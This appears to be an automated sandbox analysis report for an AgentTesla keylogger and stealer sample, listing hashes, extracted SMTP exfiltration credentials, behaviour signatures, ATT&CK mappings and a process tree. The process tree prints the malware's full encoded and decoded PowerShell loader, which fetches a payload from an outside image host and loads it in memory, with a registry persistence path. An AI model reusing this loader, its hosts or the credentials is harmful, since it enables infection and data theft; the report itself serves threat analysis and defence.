agenttesla | 1016470de70ad474db747b45ead6fad652e488bc6c696a5ffc67b436596f6daa

General

Target

1016470de70ad474db747b45ead6fad652e488bc6c696a5ffc67b436596f6daa.js
Size

5KB
MD5

7c38c243d130cc60ad287a098193d3d8
SHA1

f2200655f1acf9f00ef9f68c88060b35e0c8fc71
SHA256

1016470de70ad474db747b45ead6fad652e488bc6c696a5ffc67b436596f6daa
SHA512

c7f46c06d9358de5a3d161d3cc3eb6d03176d9f1ed937b5bfd928879082f1176cfb980e9956ab0d8bf646175b049bbc0f35db1a3f8455f8cf1d3715d9441ec92
SSDEEP

96:v7FM4bb4pV7YV+8Ll8hplZhGsQurl8hMPhLhjSsQPhoEDFS8ZDfZt6AOX6Bfd+nC:aLu1lQpl/p/lQM5VREa8dBt6Ad4gpP

Score

10^/10

agenttesla execution keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.albuspsikoloji.com.tr
Port:
587
Username:
[email protected]
Password:
Bukky101@
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 6 IoCs

flow	pid	Process
3	2068	wscript.exe
7	2068	wscript.exe
9	2976	powershell.exe
11	2976	powershell.exe
13	2976	powershell.exe
16	2976	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2840	powershell.exe
2976	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\File_Name_JS.js"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2976 set thread context of 1516	2976	powershell.exe	33

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2840	powershell.exe
2976	powershell.exe
1516	AddInProcess32.exe
1516	AddInProcess32.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2840	powershell.exe
Token: SeDebugPrivilege	2976	powershell.exe
Token: SeDebugPrivilege	1516	AddInProcess32.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2068 wrote to memory of 2840	2068	wscript.exe	28
PID 2068 wrote to memory of 2840	2068	wscript.exe	28
PID 2068 wrote to memory of 2840	2068	wscript.exe	28
PID 2840 wrote to memory of 2976	2840	powershell.exe	30
PID 2840 wrote to memory of 2976	2840	powershell.exe	30
PID 2840 wrote to memory of 2976	2840	powershell.exe	30
PID 2976 wrote to memory of 1564	2976	powershell.exe	31
PID 2976 wrote to memory of 1564	2976	powershell.exe	31
PID 2976 wrote to memory of 1564	2976	powershell.exe	31
PID 2976 wrote to memory of 1516	2976	powershell.exe	33
PID 2976 wrote to memory of 1516	2976	powershell.exe	33
PID 2976 wrote to memory of 1516	2976	powershell.exe	33
PID 2976 wrote to memory of 1516	2976	powershell.exe	33
PID 2976 wrote to memory of 1516	2976	powershell.exe	33
PID 2976 wrote to memory of 1516	2976	powershell.exe	33
PID 2976 wrote to memory of 1516	2976	powershell.exe	33
PID 2976 wrote to memory of 1516	2976	powershell.exe	33
PID 2976 wrote to memory of 1516	2976	powershell.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1016470de70ad474db747b45ead6fad652e488bc6c696a5ffc67b436596f6daa.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'ZnVuY3Rpb24gRG93bmxvYWREYXRhRnJvbUxpbmtzIHsgcGFyYW0gKFtzdHJpbmdbXV0kbGlua3MpICR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyAkZG93bmxvYWRlZERhdGEgPSBAKCk7ICRzaHVmZmxlZExpbmtzID0gJGxpbmtzIHwgR2V0LVJhbmRvbSAtQ291bnQgJGxpbmtzLkxlbmd0aDsgZm9yZWFjaCAoJGxpbmsgaW4gJHNodWZmbGVkTGlua3MpIHsgdHJ5IHsgJGRvd25sb2FkZWREYXRhICs9ICR3ZWJDbGllbnQuRG93bmxvYWREYXRhKCRsaW5rKSB9IGNhdGNoIHsgY29udGludWUgfSB9OyByZXR1cm4gJGRvd25sb2FkZWREYXRhIH07ICRsaW5rcyA9IEAoJ2h0dHBzOi8vdXBsb2FkZGVpbWFnZW5zLmNvbS5ici9pbWFnZXMvMDA0Lzc3My84MTIvb3JpZ2luYWwvanMuanBnPzE3MTM4ODI3NzgnLCAnaHR0cHM6Ly91cGxvYWRkZWltYWdlbnMuY29tLmJyL2ltYWdlcy8wMDQvNzczLzgxMi9vcmlnaW5hbC9qcy5qcGc/MTcxMzg4Mjc3OCcpOyAkaW1hZ2VCeXRlcyA9IERvd25sb2FkRGF0YUZyb21MaW5rcyAkbGlua3M7IGlmICgkaW1hZ2VCeXRlcyAtbmUgJG51bGwpIHsgJGltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRpbWFnZUJ5dGVzKTsgJHN0YXJ0RmxhZyA9ICc8PEJBU0U2NF9TVEFSVD4+JzsgJGVuZEZsYWcgPSAnPDxCQVNFNjRfRU5EPj4nOyAkc3RhcnRJbmRleCA9ICRpbWFnZVRleHQuSW5kZXhPZigkc3RhcnRGbGFnKTsgJGVuZEluZGV4ID0gJGltYWdlVGV4dC5JbmRleE9mKCRlbmRGbGFnKTsgaWYgKCRzdGFydEluZGV4IC1nZSAwIC1hbmQgJGVuZEluZGV4IC1ndCAkc3RhcnRJbmRleCkgeyAkc3RhcnRJbmRleCArPSAkc3RhcnRGbGFnLkxlbmd0aDsgJGJhc2U2NExlbmd0aCA9ICRlbmRJbmRleCAtICRzdGFydEluZGV4OyAkYmFzZTY0Q29tbWFuZCA9ICRpbWFnZVRleHQuU3Vic3RyaW5nKCRzdGFydEluZGV4LCAkYmFzZTY0TGVuZ3RoKTsgJGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGJhc2U2NENvbW1hbmQpOyAkbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjb21tYW5kQnl0ZXMpOyAkdHlwZSA9ICRsb2FkZWRBc3NlbWJseS5HZXRUeXBlKCdQUk9KRVRPQVVUT01BQ0FPLlZCLkhvbWUnKTsgJG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJykuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dICgndHh0LmVwLzQzMS4wNy42MTIuNTgxLy86cHR0aCcgLCAnMScgLCAnQzpcUHJvZ3JhbURhdGFcJyAsICdGaWxlX05hbWVfSlMnLCdBZGRJblByb2Nlc3MzMicsJ2Rlc2F0aXZhZG8nKSl9fQ==';$OWjuxd = (New-Object System.Text.UTF8Encoding).GetString([System.Convert]::FromBase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778', 'https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.ep/431.07.612.581//:ptth' , '1' , 'C:\ProgramData\' , 'File_Name_JS','AddInProcess32','desativado'))}}"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2976
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\File_Name_JS.js"
      4⤵
      PID:1564
  - - C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1516

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
2ef05df093734898b30f6f82c545c839

SHA1
e18139873f869598df170675c509a037ea8fcae1

SHA256
016307e18038ee08e1c2e0a3d9bf1c1f4d190fa3ce9e0c2be1e1d3535f170392

SHA512
22fd802b8712cfb681f1d6f3bdf458ba717f1c55c92554dd1144c621540a6f4f8380bdc97e0e5c05f4958f236c0df3267ea004a294db3040af2a95b4f70fc790

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
b68de87710cef41076d3447efaa71255

SHA1
28b2e48101ca63030eb36403343d656bb6dacf0d

SHA256
16a1841bc47e923c84313c09c7d52820618f07998dcc8ca445ffba932f32a361

SHA512
8d00bb46d8f3b1db686579c921ad6a49162c50efae1865c2056d25d984d36d7d1cc65bc48f4c947a2164a542e2fd265b3b0c15064137c0a72599a1508aa71a7e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab26F1.tmp

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar2704.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
71248de347529d01fa35f256ea620920

SHA1
ca7fc8d22330c5116e853c58602bc5a7670e2fad

SHA256
d8aab05c9ebcbb8ba6c2303ac83243995dda12cf96f9320315311e23c23d07c7

SHA512
77dd74d05e828fe4d725dd30849b208778f1eb6d2bb51423379c54ff2c8da7cce5b73505ace096cd4c30a45628e0a62ddc22adf3f514510de08ee847f7618960

Download Submit
memory/1516-112-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1516-109-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1516-114-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1516-113-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1516-104-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1516-111-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/1516-105-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1516-107-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/2840-20-0x000007FEF5A0E000-0x000007FEF5A0F000-memory.dmp

Filesize
4KB

Download
memory/2840-28-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

Filesize
9.6MB

Download
memory/2840-21-0x000000001B860000-0x000000001BB42000-memory.dmp

Filesize
2.9MB

Download
memory/2840-22-0x0000000002000000-0x0000000002008000-memory.dmp

Filesize
32KB

Download
memory/2840-116-0x000007FEF5750000-0x000007FEF60ED000-memory.dmp

Filesize
9.6MB

Download
memory/2976-101-0x000000001AE70000-0x000000001B130000-memory.dmp

Filesize
2.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads